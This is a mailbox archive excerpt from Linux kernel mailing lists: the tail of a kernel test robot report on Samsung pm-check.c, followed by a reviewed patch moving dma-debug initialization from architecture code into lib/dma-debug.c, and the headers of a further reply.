549c7e33 arch/arm/plat-s3c/pm-check.c     Ben Dooks  2008-12-12  46  static void s3c_pm_run_res(struct resource *ptr, run_fn_t fn, u32 *arg)
549c7e33 arch/arm/plat-s3c/pm-check.c     Ben Dooks  2008-12-12  47  {
549c7e33 arch/arm/plat-s3c/pm-check.c     Ben Dooks  2008-12-12  48  	while (ptr != NULL) {
549c7e33 arch/arm/plat-s3c/pm-check.c     Ben Dooks  2008-12-12 @49  		if (ptr->child != NULL)
549c7e33 arch/arm/plat-s3c/pm-check.c     Ben Dooks  2008-12-12 @50  			s3c_pm_run_res(ptr->child, fn, arg);
549c7e33 arch/arm/plat-s3c/pm-check.c     Ben Dooks  2008-12-12  51  
05fee7cf arch/arm/plat-samsung/pm-check.c Toshi Kani 2016-01-26  52  		if ((ptr->flags & IORESOURCE_SYSTEM_RAM)
05fee7cf arch/arm/plat-samsung/pm-check.c Toshi Kani 2016-01-26  53  				== IORESOURCE_SYSTEM_RAM) {
549c7e33 arch/arm/plat-s3c/pm-check.c     Ben Dooks  2008-12-12  54  			S3C_PMDBG("Found system RAM at %08lx..%08lx\n",
840eeeb8 arch/arm/plat-s3c/pm-check.c     Ben Dooks  2008-12-12  55  				  (unsigned long)ptr->start,
840eeeb8 arch/arm/plat-s3c/pm-check.c     Ben Dooks  2008-12-12  56  				  (unsigned long)ptr->end);
549c7e33 arch/arm/plat-s3c/pm-check.c     Ben Dooks  2008-12-12  57  			arg = (fn)(ptr, arg);
549c7e33 arch/arm/plat-s3c/pm-check.c     Ben Dooks  2008-12-12  58  		}
549c7e33 arch/arm/plat-s3c/pm-check.c     Ben Dooks  2008-12-12  59  
549c7e33 arch/arm/plat-s3c/pm-check.c     Ben Dooks  2008-12-12 @60  		ptr = ptr->sibling;
549c7e33 arch/arm/plat-s3c/pm-check.c     Ben Dooks  2008-12-12  61  	}
549c7e33 arch/arm/plat-s3c/pm-check.c     Ben Dooks  2008-12-12  62  }
549c7e33 arch/arm/plat-s3c/pm-check.c     Ben Dooks  2008-12-12  63  

:::::: The code at line 49 was first introduced by commit
:::::: 549c7e33aeb9bfe441ecf68639d2227bb90978e7 [ARM] S3C: Split the resume memory check code from pm.c

:::::: TO: Ben Dooks <ben-linux-elnMNo+KYs3YtjvyW6yDsg@public.gmane.org>
:::::: CC: Ben Dooks <ben-linux-elnMNo+KYs3YtjvyW6yDsg@public.gmane.org>

---
0-DAY kernel test infrastructure                Open Source Technology Center
https://lists.01.org/pipermail/kbuild-all                   Intel Corporation

From - Thu Nov 08 21:41:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Robin Murphy <robin.murphy-5wv7dgnIgG8@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.kernel.arc,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.ports.arm.kernel
Subject: Re: [PATCH 1/3] dma-debug: move initialization to common code
Date: Tue, 8 May 2018 10:46:24 +0100
Lines: 419
Approved: news@gmane.org
Message-ID: <f89e5ef3-d58a-ef2f-1695-e3a751cfe8a9@arm.com>
References: <20180424140235.9125-1-hch@lst.de>
	<20180424140235.9125-2-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; Format="flowed"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1525772668 12590 195.159.176.226 (8 May 2018 09:44:28 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 8 May 2018 09:44:28 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
	Thunderbird/52.7.0
Cc: linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, openrisc-cunTk1MwBs9a3B2Vnqf2dGD2FQJk+8+b@public.gmane.org,
	Greentime Hu <green.hu-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, nios2-dev-g9ZBwUv/Ih/yUk5EbOjzuce+I+R0W71w@public.gmane.org,
	Vincent Chen <deanbo422-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org
To: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>, iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Tue May 08 11:44:22 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1fFzAT-00034I-Mf
	for glki-iommu@m.gmane.org; Tue, 08 May 2018 11:44:22 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 54473825;
	Tue,  8 May 2018 09:46:32 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 2B8D2723
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Tue,  8 May 2018 09:46:31 +0000 (UTC)
X-Greylist: domain auto-whitelisted by SQLgrey-1.7.6
Original-Received: from foss.arm.com (usa-sjc-mx-foss1.foss.arm.com [217.140.101.70])
	by smtp1.linuxfoundation.org (Postfix) with ESMTP id 2078867B
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Tue,  8 May 2018 09:46:29 +0000 (UTC)
Original-Received: from usa-sjc-imap-foss1.foss.arm.com (unknown [10.72.51.249])
	by usa-sjc-mx-foss1.foss.arm.com (Postfix) with ESMTP id 3AAA280D;
	Tue,  8 May 2018 02:46:29 -0700 (PDT)
Original-Received: from [10.1.210.88] (e110467-lin.cambridge.arm.com [10.1.210.88])
	by usa-sjc-imap-foss1.foss.arm.com (Postfix) with ESMTPSA id 0F81A3F318;
	Tue,  8 May 2018 02:46:25 -0700 (PDT)
In-Reply-To: <20180424140235.9125-2-hch-jcswGhMUV9g@public.gmane.org>
Content-Language: en-GB
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:24132 gmane.linux.kernel.cross-arch:43908 gmane.linux.kernel.arc:3857 gmane.linux.ports.parisc:28585 gmane.linux.ports.sh.devel:56988 gmane.linux.ports.hexagon:1691 gmane.linux.kernel:2761417 gmane.linux.ports.alpha:5012 gmane.linux.ports.sparc:27830 gmane.linux.ports.arm.kernel:648454
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/24132>

On 24/04/18 15:02, Christoph Hellwig wrote:
> Most mainstream architectures are using 65536 entries, so lets stick to
> that.  If someone is really desperate to override it that can still be
> done through <asm/dma-mapping.h>, but I'd rather see a really good
> rationale for that.
> 
> dma_debug_init is now called as a core_initcall, which for many
> architectures means much earlier, and provides dma-debug functionality
> earlier in the boot process.  This should be safe as it only relies
> on the memory allocator already being available.

Reviewed-by: Robin Murphy <robin.murphy-5wv7dgnIgG8@public.gmane.org>

> Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
> ---
>   arch/arm/mm/dma-mapping-nommu.c |  9 ---------
>   arch/arm/mm/dma-mapping.c       |  9 ---------
>   arch/arm64/mm/dma-mapping.c     | 10 ----------
>   arch/c6x/kernel/dma.c           | 11 -----------
>   arch/ia64/kernel/dma-mapping.c  | 10 ----------
>   arch/microblaze/kernel/dma.c    | 11 -----------
>   arch/mips/mm/dma-default.c      | 10 ----------
>   arch/openrisc/kernel/dma.c      | 11 -----------
>   arch/powerpc/kernel/dma.c       |  3 ---
>   arch/s390/pci/pci_dma.c         |  9 ---------
>   arch/sh/mm/consistent.c         |  9 ---------
>   arch/sparc/kernel/Makefile      |  2 --
>   arch/sparc/kernel/dma.c         | 13 -------------
>   arch/x86/kernel/pci-dma.c       |  4 ----
>   arch/xtensa/kernel/pci-dma.c    |  9 ---------
>   include/linux/dma-debug.h       |  6 ------
>   lib/dma-debug.c                 | 21 ++++++++++++++-------
>   17 files changed, 14 insertions(+), 143 deletions(-)
>   delete mode 100644 arch/sparc/kernel/dma.c
> 
> diff --git a/arch/arm/mm/dma-mapping-nommu.c b/arch/arm/mm/dma-mapping-nommu.c
> index 619f24a42d09..f448a0663b10 100644
> --- a/arch/arm/mm/dma-mapping-nommu.c
> +++ b/arch/arm/mm/dma-mapping-nommu.c
> @@ -241,12 +241,3 @@ void arch_setup_dma_ops(struct device *dev, u64 dma_base, u64 size,
>   void arch_teardown_dma_ops(struct device *dev)
>   {
>   }
> -
> -#define PREALLOC_DMA_DEBUG_ENTRIES	4096
> -
> -static int __init dma_debug_do_init(void)
> -{
> -	dma_debug_init(PREALLOC_DMA_DEBUG_ENTRIES);
> -	return 0;
> -}
> -core_initcall(dma_debug_do_init);
> diff --git a/arch/arm/mm/dma-mapping.c b/arch/arm/mm/dma-mapping.c
> index 8c398fedbbb6..c26bf83f44ca 100644
> --- a/arch/arm/mm/dma-mapping.c
> +++ b/arch/arm/mm/dma-mapping.c
> @@ -1165,15 +1165,6 @@ int arm_dma_supported(struct device *dev, u64 mask)
>   	return __dma_supported(dev, mask, false);
>   }
>   
> -#define PREALLOC_DMA_DEBUG_ENTRIES	4096
> -
> -static int __init dma_debug_do_init(void)
> -{
> -	dma_debug_init(PREALLOC_DMA_DEBUG_ENTRIES);
> -	return 0;
> -}
> -core_initcall(dma_debug_do_init);
> -
>   #ifdef CONFIG_ARM_DMA_USE_IOMMU
>   
>   static int __dma_info_to_prot(enum dma_data_direction dir, unsigned long attrs)
> diff --git a/arch/arm64/mm/dma-mapping.c b/arch/arm64/mm/dma-mapping.c
> index a96ec0181818..db01f2709842 100644
> --- a/arch/arm64/mm/dma-mapping.c
> +++ b/arch/arm64/mm/dma-mapping.c
> @@ -508,16 +508,6 @@ static int __init arm64_dma_init(void)
>   }
>   arch_initcall(arm64_dma_init);
>   
> -#define PREALLOC_DMA_DEBUG_ENTRIES	4096
> -
> -static int __init dma_debug_do_init(void)
> -{
> -	dma_debug_init(PREALLOC_DMA_DEBUG_ENTRIES);
> -	return 0;
> -}
> -fs_initcall(dma_debug_do_init);
> -
> -
>   #ifdef CONFIG_IOMMU_DMA
>   #include <linux/dma-iommu.h>
>   #include <linux/platform_device.h>
> diff --git a/arch/c6x/kernel/dma.c b/arch/c6x/kernel/dma.c
> index 9fff8be75f58..31e1a9ec3a9c 100644
> --- a/arch/c6x/kernel/dma.c
> +++ b/arch/c6x/kernel/dma.c
> @@ -136,14 +136,3 @@ const struct dma_map_ops c6x_dma_ops = {
>   	.sync_sg_for_cpu	= c6x_dma_sync_sg_for_cpu,
>   };
>   EXPORT_SYMBOL(c6x_dma_ops);
> -
> -/* Number of entries preallocated for DMA-API debugging */
> -#define PREALLOC_DMA_DEBUG_ENTRIES (1 << 16)
> -
> -static int __init dma_init(void)
> -{
> -	dma_debug_init(PREALLOC_DMA_DEBUG_ENTRIES);
> -
> -	return 0;
> -}
> -fs_initcall(dma_init);
> diff --git a/arch/ia64/kernel/dma-mapping.c b/arch/ia64/kernel/dma-mapping.c
> index f2d57e66fd86..7a471d8d67d4 100644
> --- a/arch/ia64/kernel/dma-mapping.c
> +++ b/arch/ia64/kernel/dma-mapping.c
> @@ -9,16 +9,6 @@ int iommu_detected __read_mostly;
>   const struct dma_map_ops *dma_ops;
>   EXPORT_SYMBOL(dma_ops);
>   
> -#define PREALLOC_DMA_DEBUG_ENTRIES (1 << 16)
> -
> -static int __init dma_init(void)
> -{
> -	dma_debug_init(PREALLOC_DMA_DEBUG_ENTRIES);
> -
> -	return 0;
> -}
> -fs_initcall(dma_init);
> -
>   const struct dma_map_ops *dma_get_ops(struct device *dev)
>   {
>   	return dma_ops;
> diff --git a/arch/microblaze/kernel/dma.c b/arch/microblaze/kernel/dma.c
> index c91e8cef98dd..3145e7dc8ab1 100644
> --- a/arch/microblaze/kernel/dma.c
> +++ b/arch/microblaze/kernel/dma.c
> @@ -184,14 +184,3 @@ const struct dma_map_ops dma_nommu_ops = {
>   	.sync_sg_for_device	= dma_nommu_sync_sg_for_device,
>   };
>   EXPORT_SYMBOL(dma_nommu_ops);
> -
> -/* Number of entries preallocated for DMA-API debugging */
> -#define PREALLOC_DMA_DEBUG_ENTRIES (1 << 16)
> -
> -static int __init dma_init(void)
> -{
> -	dma_debug_init(PREALLOC_DMA_DEBUG_ENTRIES);
> -
> -	return 0;
> -}
> -fs_initcall(dma_init);
> diff --git a/arch/mips/mm/dma-default.c b/arch/mips/mm/dma-default.c
> index dcafa43613b6..f9fef0028ca2 100644
> --- a/arch/mips/mm/dma-default.c
> +++ b/arch/mips/mm/dma-default.c
> @@ -402,13 +402,3 @@ static const struct dma_map_ops mips_default_dma_map_ops = {
>   
>   const struct dma_map_ops *mips_dma_map_ops = &mips_default_dma_map_ops;
>   EXPORT_SYMBOL(mips_dma_map_ops);
> -
> -#define PREALLOC_DMA_DEBUG_ENTRIES (1 << 16)
> -
> -static int __init mips_dma_init(void)
> -{
> -	dma_debug_init(PREALLOC_DMA_DEBUG_ENTRIES);
> -
> -	return 0;
> -}
> -fs_initcall(mips_dma_init);
> diff --git a/arch/openrisc/kernel/dma.c b/arch/openrisc/kernel/dma.c
> index a945f00011b4..ec7fd45704d2 100644
> --- a/arch/openrisc/kernel/dma.c
> +++ b/arch/openrisc/kernel/dma.c
> @@ -247,14 +247,3 @@ const struct dma_map_ops or1k_dma_map_ops = {
>   	.sync_single_for_device = or1k_sync_single_for_device,
>   };
>   EXPORT_SYMBOL(or1k_dma_map_ops);
> -
> -/* Number of entries preallocated for DMA-API debugging */
> -#define PREALLOC_DMA_DEBUG_ENTRIES (1 << 16)
> -
> -static int __init dma_init(void)
> -{
> -	dma_debug_init(PREALLOC_DMA_DEBUG_ENTRIES);
> -
> -	return 0;
> -}
> -fs_initcall(dma_init);
> diff --git a/arch/powerpc/kernel/dma.c b/arch/powerpc/kernel/dma.c
> index da20569de9d4..138157deeadf 100644
> --- a/arch/powerpc/kernel/dma.c
> +++ b/arch/powerpc/kernel/dma.c
> @@ -309,8 +309,6 @@ int dma_set_coherent_mask(struct device *dev, u64 mask)
>   }
>   EXPORT_SYMBOL(dma_set_coherent_mask);
>   
> -#define PREALLOC_DMA_DEBUG_ENTRIES (1 << 16)
> -
>   int dma_set_mask(struct device *dev, u64 dma_mask)
>   {
>   	if (ppc_md.dma_set_mask)
> @@ -361,7 +359,6 @@ EXPORT_SYMBOL_GPL(dma_get_required_mask);
>   
>   static int __init dma_init(void)
>   {
> -	dma_debug_init(PREALLOC_DMA_DEBUG_ENTRIES);
>   #ifdef CONFIG_PCI
>   	dma_debug_add_bus(&pci_bus_type);
>   #endif
> diff --git a/arch/s390/pci/pci_dma.c b/arch/s390/pci/pci_dma.c
> index 2d15d84c20ed..5dee7a922589 100644
> --- a/arch/s390/pci/pci_dma.c
> +++ b/arch/s390/pci/pci_dma.c
> @@ -668,15 +668,6 @@ void zpci_dma_exit(void)
>   	kmem_cache_destroy(dma_region_table_cache);
>   }
>   
> -#define PREALLOC_DMA_DEBUG_ENTRIES	(1 << 16)
> -
> -static int __init dma_debug_do_init(void)
> -{
> -	dma_debug_init(PREALLOC_DMA_DEBUG_ENTRIES);
> -	return 0;
> -}
> -fs_initcall(dma_debug_do_init);
> -
>   const struct dma_map_ops s390_pci_dma_ops = {
>   	.alloc		= s390_dma_alloc,
>   	.free		= s390_dma_free,
> diff --git a/arch/sh/mm/consistent.c b/arch/sh/mm/consistent.c
> index 8ce98691d822..35ea3099a3b6 100644
> --- a/arch/sh/mm/consistent.c
> +++ b/arch/sh/mm/consistent.c
> @@ -20,18 +20,9 @@
>   #include <asm/cacheflush.h>
>   #include <asm/addrspace.h>
>   
> -#define PREALLOC_DMA_DEBUG_ENTRIES	4096
> -
>   const struct dma_map_ops *dma_ops;
>   EXPORT_SYMBOL(dma_ops);
>   
> -static int __init dma_init(void)
> -{
> -	dma_debug_init(PREALLOC_DMA_DEBUG_ENTRIES);
> -	return 0;
> -}
> -fs_initcall(dma_init);
> -
>   void *dma_generic_alloc_coherent(struct device *dev, size_t size,
>   				 dma_addr_t *dma_handle, gfp_t gfp,
>   				 unsigned long attrs)
> diff --git a/arch/sparc/kernel/Makefile b/arch/sparc/kernel/Makefile
> index 76cb57750dda..84cfc5a428d6 100644
> --- a/arch/sparc/kernel/Makefile
> +++ b/arch/sparc/kernel/Makefile
> @@ -74,8 +74,6 @@ obj-$(CONFIG_SPARC64)	+= pcr.o
>   obj-$(CONFIG_SPARC64)	+= nmi.o
>   obj-$(CONFIG_SPARC64_SMP) += cpumap.o
>   
> -obj-y                     += dma.o
> -
>   obj-$(CONFIG_PCIC_PCI)    += pcic.o
>   obj-$(CONFIG_LEON_PCI)    += leon_pci.o
>   obj-$(CONFIG_SPARC_GRPCI2)+= leon_pci_grpci2.o
> diff --git a/arch/sparc/kernel/dma.c b/arch/sparc/kernel/dma.c
> deleted file mode 100644
> index f73e7597c971..000000000000
> --- a/arch/sparc/kernel/dma.c
> +++ /dev/null
> @@ -1,13 +0,0 @@
> -// SPDX-License-Identifier: GPL-2.0
> -#include <linux/kernel.h>
> -#include <linux/dma-mapping.h>
> -#include <linux/dma-debug.h>
> -
> -#define PREALLOC_DMA_DEBUG_ENTRIES       (1 << 15)
> -
> -static int __init dma_init(void)
> -{
> -	dma_debug_init(PREALLOC_DMA_DEBUG_ENTRIES);
> -	return 0;
> -}
> -fs_initcall(dma_init);
> diff --git a/arch/x86/kernel/pci-dma.c b/arch/x86/kernel/pci-dma.c
> index 77625b60a510..bcbaa2e8031e 100644
> --- a/arch/x86/kernel/pci-dma.c
> +++ b/arch/x86/kernel/pci-dma.c
> @@ -55,9 +55,6 @@ struct device x86_dma_fallback_dev = {
>   };
>   EXPORT_SYMBOL(x86_dma_fallback_dev);
>   
> -/* Number of entries preallocated for DMA-API debugging */
> -#define PREALLOC_DMA_DEBUG_ENTRIES       65536
> -
>   void __init pci_iommu_alloc(void)
>   {
>   	struct iommu_table_entry *p;
> @@ -189,7 +186,6 @@ EXPORT_SYMBOL(arch_dma_supported);
>   static int __init pci_iommu_init(void)
>   {
>   	struct iommu_table_entry *p;
> -	dma_debug_init(PREALLOC_DMA_DEBUG_ENTRIES);
>   
>   #ifdef CONFIG_PCI
>   	dma_debug_add_bus(&pci_bus_type);
> diff --git a/arch/xtensa/kernel/pci-dma.c b/arch/xtensa/kernel/pci-dma.c
> index 732631ce250f..392b4a80ebc2 100644
> --- a/arch/xtensa/kernel/pci-dma.c
> +++ b/arch/xtensa/kernel/pci-dma.c
> @@ -261,12 +261,3 @@ const struct dma_map_ops xtensa_dma_map_ops = {
>   	.mapping_error = xtensa_dma_mapping_error,
>   };
>   EXPORT_SYMBOL(xtensa_dma_map_ops);
> -
> -#define PREALLOC_DMA_DEBUG_ENTRIES (1 << 16)
> -
> -static int __init xtensa_dma_init(void)
> -{
> -	dma_debug_init(PREALLOC_DMA_DEBUG_ENTRIES);
> -	return 0;
> -}
> -fs_initcall(xtensa_dma_init);
> diff --git a/include/linux/dma-debug.h b/include/linux/dma-debug.h
> index c7d844f09c3a..a785f2507159 100644
> --- a/include/linux/dma-debug.h
> +++ b/include/linux/dma-debug.h
> @@ -30,8 +30,6 @@ struct bus_type;
>   
>   extern void dma_debug_add_bus(struct bus_type *bus);
>   
> -extern void dma_debug_init(u32 num_entries);
> -
>   extern int dma_debug_resize_entries(u32 num_entries);
>   
>   extern void debug_dma_map_page(struct device *dev, struct page *page,
> @@ -100,10 +98,6 @@ static inline void dma_debug_add_bus(struct bus_type *bus)
>   {
>   }
>   
> -static inline void dma_debug_init(u32 num_entries)
> -{
> -}
> -
>   static inline int dma_debug_resize_entries(u32 num_entries)
>   {
>   	return 0;
> diff --git a/lib/dma-debug.c b/lib/dma-debug.c
> index 7f5cdc1e6b29..712a897174e4 100644
> --- a/lib/dma-debug.c
> +++ b/lib/dma-debug.c
> @@ -41,6 +41,11 @@
>   #define HASH_FN_SHIFT   13
>   #define HASH_FN_MASK    (HASH_SIZE - 1)
>   
> +/* allow architectures to override this if absolutely required */
> +#ifndef PREALLOC_DMA_DEBUG_ENTRIES
> +#define PREALLOC_DMA_DEBUG_ENTRIES (1 << 16)
> +#endif
> +
>   enum {
>   	dma_debug_single,
>   	dma_debug_page,
> @@ -1004,18 +1009,16 @@ void dma_debug_add_bus(struct bus_type *bus)
>   	bus_register_notifier(bus, nb);
>   }
>   
> -/*
> - * Let the architectures decide how many entries should be preallocated.
> - */
> -void dma_debug_init(u32 num_entries)
> +static int dma_debug_init(void)
>   {
> +	u32 num_entries;
>   	int i;
>   
>   	/* Do not use dma_debug_initialized here, since we really want to be
>   	 * called to set dma_debug_initialized
>   	 */
>   	if (global_disable)
> -		return;
> +		return 0;
>   
>   	for (i = 0; i < HASH_SIZE; ++i) {
>   		INIT_LIST_HEAD(&dma_entry_hash[i].list);
> @@ -1026,17 +1029,19 @@ void dma_debug_init(u32 num_entries)
>   		pr_err("DMA-API: error creating debugfs entries - disabling\n");
>   		global_disable = true;
>   
> -		return;
> +		return 0;
>   	}
>   
>   	if (req_entries)
>   		num_entries = req_entries;
> +	else
> +		num_entries = PREALLOC_DMA_DEBUG_ENTRIES;
>   
>   	if (prealloc_memory(num_entries) != 0) {
>   		pr_err("DMA-API: debugging out of memory error - disabled\n");
>   		global_disable = true;
>   
> -		return;
> +		return 0;
>   	}
>   
>   	nr_total_entries = num_free_entries;
> @@ -1044,7 +1049,9 @@ void dma_debug_init(u32 num_entries)
>   	dma_debug_initialized = true;
>   
>   	pr_info("DMA-API: debugging enabled by kernel config\n");
> +	return 0;
>   }
> +core_initcall(dma_debug_init);
>   
>   static __init int dma_debug_cmdline(char *str)
>   {
> 

From - Thu Nov 08 21:41:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Robin Murphy <robin.murphy-5wv7dgnIgG8@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.kernel.arc,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.ports.arm.kernel
Subject: Re: [PATCH 2/3] dma-debug: simplify counting of preallocated requests
Date: Tue, 8 May 2018 10:50:06 +0100
Lines: 66
Approved: news@gmane.org
Message-ID: <b50ef15a-8ffb-e8f2-11a7-b38d2ebda1c6@arm.com>
References: <20180424140235.9125-1-hch@lst.de>
	<20180424140235.9125-3-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; Format="flowed"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1525772889 28062 195.159.176.226 (8 May 2018 09:48:09 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 8 May 2018 09:48:09 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
	Thunderbird/52.7.0
Cc: linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, openrisc-cunTk1MwBs9a3B2Vnqf2dGD2FQJk+8+b@public.gmane.org,
	Greentime Hu <green.hu-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, nios2-dev-g9ZBwUv/Ih/yUk5EbOjzuce+I+R0W71w@public.gmane.org,
	Vincent Chen <deanbo422-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org
To: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>, iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Tue May 08 11:48:04 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1fFzE3-0007Ay-Ea
	for glki-iommu@m.gmane.org; Tue, 08 May 2018 11:48:03 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id DDDA1825;
	Tue,  8 May 2018 09:50:13 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 1FE05723
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Tue,  8 May 2018 09:50:12 +0000 (UTC)
X-Greylist: domain auto-whitelisted by SQLgrey-1.7.6
Original-Received: from foss.arm.com (foss.arm.com [217.140.101.70])
	by smtp1.linuxfoundation.org (Postfix) with ESMTP id 1C989677
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Tue,  8 May 2018 09:50:11 +0000 (UTC)
